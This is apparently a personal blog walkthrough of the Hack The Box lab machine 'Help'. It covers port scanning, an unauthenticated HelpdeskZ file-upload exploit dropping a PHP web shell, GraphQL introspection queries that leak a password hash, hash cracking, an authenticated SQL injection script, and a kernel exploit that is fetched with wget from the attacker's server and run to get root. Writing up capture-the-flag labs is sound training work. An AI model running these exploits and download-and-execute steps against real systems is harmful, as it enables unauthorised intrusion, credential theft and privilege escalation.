Skip to main content

Help

·1986 words·10 mins
Emil Pawlak
Author
Emil Pawlak
Aspiring Pentester | SOC Analyst | Web Developer
Table of Contents

Enumeration

nmap

As usual I start with a nmap scan that runs in the background.

nmap scan results
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for 10.129.230.159
Host is up (0.028s latency).
Not shown: 997 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 e5:bb:4d:9c:de:af:6b:bf:ba:8c:22:7a:d8:d7:43:28 (RSA)
|   256 d5:b0:10:50:74:86:a3:9f:c5:53:6f:3b:4a:24:61:19 (ECDSA)
|_  256 e2:1b:88:d3:76:21:d4:1e:38:15:4a:81:11:b7:99:07 (ED25519)
80/tcp   open  http    Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://help.htb/
|_http-server-header: Apache/2.4.18 (Ubuntu)
3000/tcp open  http    Node.js Express framework
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.95%E=4%D=4/18%OT=22%CT=1%CU=37591%PV=Y%DS=2%DC=I%G=Y%TM=69E3891
OS:C%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=107%TI=Z%CI=Z%II=I%TS=A)SEQ
OS:(SP=103%GCD=1%ISR=10C%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=106%GCD=1%ISR=108%TI=Z%
OS:CI=Z%II=I%TS=A)SEQ(SP=108%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M4E2S
OS:T11NW7%O2=M4E2ST11NW7%O3=M4E2NNT11NW7%O4=M4E2ST11NW7%O5=M4E2ST11NW7%O6=M
OS:4E2ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y
OS:%T=40%W=FAF0%O=M4E2NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=
OS:)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T
OS:=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=
OS:0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU
OS:D=G)IE(R=Y%DFI=N%T=40%CD=S)

Network Distance: 2 hops
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.55 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for help.htb (10.129.230.159)
Host is up (0.029s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

Nmap done: 1 IP address (1 host up) scanned in 10.43 seconds
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-18 15:37 CEST
Nmap scan report for help.htb (10.129.230.159)
Host is up (0.028s latency).
Not shown: 999 closed udp ports (port-unreach)
PORT   STATE         SERVICE
68/udp open|filtered dhcpc

Nmap done: 1 IP address (1 host up) scanned in 1009.37 seconds

I inputted the ip into the browser, it changed into “help.htb” domain so I added it into my /etc/hosts file. Running nmap scan shows that there are 3 ports opened - 22, 80 and 3000. HTTP shows a default apache2 page. Port 3000 shows a JSON file with a message “Hi Shiv, To get access please find the credentials with given query”.

I ran a directory scan on both ports ffuf -u http://help.htb:3000/FUZZ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt and checked for any subdomains with ffuf -u http://help.htb:3000/ -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.help.htb" -fs 81.

I found additional subdirectories on port 80:

server-status
javascript
support

I also tried out feroxbuster with feroxbuster -u http://help.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --filter-status 404 --dont-filter command.

ffuf showed me that there is a support directory which hosts helpdeskz, forexbuster also showed me that there is an upload page on it. I looked online and with defaultcreds (creds search helpdesk) but I didn’t find anything for this ticketing dashboard.

Foothold

Searchsploit shows that there is some arbitrary file upload public exploit, I will check it out. I can’t find what version I’m using but this exploit works on helpdeskz’s version 1.0.2 - https://www.exploit-db.com/exploits/40300.

I found this python port of this exploit - https://github.com/trevlee/helpdeskz_exploit

I tested this exploit a few times and looked around other forks of it - there is some nuance to it.

Firstly, you need to provide a “baseUrl” for the exploit. I assumed that “base” url would be “http://help.htb/support" in that case, but that’s not true. When I ran a script I never got any successful hits with it. Then I thought that maybe it expects the form URL with all it’s GET parameters like http://help.htb/support/?v=submit_ticket&action=displayForm but it had an opposite effect - everything was a false-positive.

Then I was reading some fork version of the script and noticed that author was accessing http://help.htb/support/uploads/tickets/ which finally worked.

Another issue was the shell’s file. When I attempted to attach a .php shell or similar the form always thrown out an error. The only format it seemed to accept was .txt which redirected me out. I doubled my extensions like so .php.txt and it seemed to go through but the exploit never saw those shells. Only after I while I randomly tried to catch a failed form with a plain .php extension and it worked. Seems like the form doesn’t really discard those forms - crazy logic error.

azaeir@parrot (~/Desktop/htb/machines/help/helpdeskz_exploit): python3 exploit http://help.htb/support/uploads/tickets/ shell.php    
Helpdeskz v1.0.2 - Unauthenticated shell upload exploit
found!
http://help.htb/support/uploads/tickets/bd42427925a14e4cf6e46a11468bc98c.php

I also couldn’t make a reverse shell work so instead I just uploaded a simple php web shell. With it I got access as the help user and got a user flag.

I decided to try the revshell route again and first I got a never before seen error about a detection of a server side request forgery, but after I refreshed it worked.

Account is in some interesting groups uid=1000(help) gid=1000(help) groups=1000(help),4(adm),24(cdrom),30(dip),33(www-data),46(plugdev),114(lpadmin),115(sambashare)

Looking around the filesystem I didn’t find anything interesting besides the help’s directory so I dug deeper into it. In /home/help/help/src I found what looks to be the source of the message from port 3000. It asked me to use a query to look for credentials so I ran grep -rni "pass" . and I found this information

./graphql/schema/resolvers/index.js:1:const user = { username:'helpme@helpme.com', password:'5d3c93182bb20f07b994a7f617e99cff' }
./graphql/schema/types/user.graphql:4: password: String

I tried to use those credentials on the only login form I know so on port 80 but it didn’t work - same goes for ssh.

From what I’m checking it seems like the software on 3000 Express powered by Node.js running GraphQL. GraphQL is the key part here, it allows me to talk to the servers database. Think of this setup like a normal SQL (preferably MySQL) database. To talk with GraphQL you need to call it and request specific data from its entry points and need to follow syntax.

So, I could use BurpSuite or some tools that help with graphql but I decided to use curl here.

The intended way to get this data was likely to query the server with GraphQL. Keeping that MySQL analogy in mind, to first know what databases there are. If a server or a company is big there might be multiple databases, but here there is only one so we can skip this aspect.

After databases, I would like to know what tables are in that database, this can be done with such command:

azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H "Content-Type: application/json" -d '{"query":"{ __schema { types { name } } }"}'
{"data":{"__schema":{"types":[{"name":"Query"},{"name":"User"},{"name":"String"},{"name":"__Schema"},{"name":"__Type"},{"name":"__TypeKind"},{"name":"Boolean"},{"name":"__Field"},{"name":"__InputValue"},{"name":"__EnumValue"},{"name":"__Directive"},{"name":"__DirectiveLocation"}]}}}%                        

The important part is in the -d flag. Inside, there is a JSON enveloped GraphQL query which asks the database (__schema) what tables are there ({ types { name } }) inside of it.

Seeing the output I can see a number of “tables”. Schema and default ones are usually prefixed with __. From that output I see a “table” named “Users” and I would like to access it. Problem is, I don’t know the structure inside of it. To enumerate it, I can just the below command. Remember, that the important part is inside the -d flag:

azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H "Content-Type: application/json" -d '{"query":"{ __type(name:\"User\") { fields { name } } }"}'
{"data":{"__type":{"fields":[{"name":"username"},{"name":"password"}]}}}%                                                      ```

This output shows me, that there is a “username” and “password” column - or an entry point.

Now, knowing what columns I can query, I can search for that with this command:

azaeir@parrot (~): curl -X POST http://help.htb:3000/graphql -H "Content-Type: application/json" -d '{"query":"{ user { username password } }"}'
{"data":{"user":{"username":"helpme@helpme.com","password":"5d3c93182bb20f07b994a7f617e99cff"}}}%  

Anyway, as the message said “To get access please find the credentials” and I got the credentials I need to think for what those creds could be. I already checked the helpdeskz and ssh, but my correct suspicion is that they are likely for the express database itself. Express is however just an HTTP server. It natively doesn’t have a built-in authentication system so my only way in could still be GraphQL queries.

I wanted to authenticate with GraphQL but there looking at my previous output there is no “Mutations” table. Which would be needed for API to accept any credentials in the first place. I though about other possible ways to authenticate to Express and I thought that my password might be in fact an MD5 hash. I ran it though hashcat with -m 0 and to my silly surprise it is. the password in reality is “godhelpmeplz”.

This credentials worked on the helpdeskz platform this time. Inside, I can see a new tab “My Tickets” but it and all other tabs don’t show any new data.

That new tab requires me to input a ticket id and search. Maybe there is like an “IDOR” vulnerability for it. It’s not really an idor but I digress. I opened this site with burp, created a small wordlist with number using for i in {0..10000}; do echo "$i"; done > numbers.txt; and looked for website size difference. There was just one difference for id 0 but it was just another error. I realized that those ids are not simple number but are encoded same as I did in my foothold - #6DA-F2B-8D321 etc.

Privilege Escalation

I remembered when looking for helpdeskz exploits to file upload I stumbled upon SQL injection. I have a feeling that it could be my way into priv-esc. This repo seems like will work. It also mentions the correct version. I followed the steps from the repository I got a few errors like this:

(myvenv) azaeir@parrot (~/Desktop/htb/machines/help/HelpdeskZ-Authenticated-SQL-injection): ./helpdeskz-sql-injection.py "http://help.htb/support/" "helpme@helpme.com" "godhelpmeplz"
(+) Csrfhash: "7a42706d1baa866ce4216464bb815971" .
(+) Ticket link: "http://help.htb/support/?v=view_tickets&action=ticket&param[]=9" .
(-) Failed to fetch the full vulnerable url.
(-) This may be due to an existing ticket's lack
(-) lack of file attachment.
(-) Delete file-less ticket and create one with 
(-) a file attached to it!
(-) Response:
b'<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 

But it just turned out that I need to create a ticket as an authenticated user. When I ran the above command again I got admin credentials - admin:d318f44739dced66793b1a603028133a76ae680e. Interestingly, this repo seems to be using error based sql injection and from the looks of it, it was created specifically for this box which kinda defeats the purpose of using it.

I ran the admin’s password hash through hashcat, first with just hashcat admin.hash /usr/share/wordlists/rockyou.txt and then hashcat -m 100 admin.hash /usr/share/wordlists/rockyou.txt when I learned that it’s SHA1 - admin:Welcome1.

I use the admin credentials to ssh into the host but it didn’t work, I also tried it on helpdeskz and same results. I used variants with and without the domain to no avail. I decided to run the script again and guess other columns like “email” and “id”. I found an email support@mysite.com but it still doesn’t work.

I took a break and came back with new power. I decided to go over my linux priv-escalation before i run linPEAS.

With uname -a I got information about the linux and with searchsploit 4.4.0-116 I noticed that there is a local privilege escalation vulnerability related to this kernel version.

I found this article that talks about an exploit. I followed the steps mentioned there and just slightly adjusted the recommendations. I download the exploit with searchsploit -m linux/local/44298.c. Then i compile it with gcc -static 44298.c -o exploit.c. -static also compiles the exploit with all libraries it might need. I start a python server python3 -m http.server 1338. Look for a directory where I’m able to download the exploit. I can in cd /tmp. I download the exploit with wget http://10.10.15.189:1338/exploit.c. Make it executable with chmod +x exploit.c. And run ./exploit.c.

With these steps I get a root shell and find the root flag in their home directory.

Closing Thoughts

Help shows a number or niche techniques and pivoting options, it keeps on showing interesting attack vectors but doesn’t become annoying or unnecessary complicated at any point. It’s fun and enjoyable through the whole time. It also has a few ways to be solved which is always fun to try after the initial root. At some points there is an opportunity for some minor rabbit holes - which I of course found - but it was a good reminder to not be afraid to go a few steps back and double-check your notes.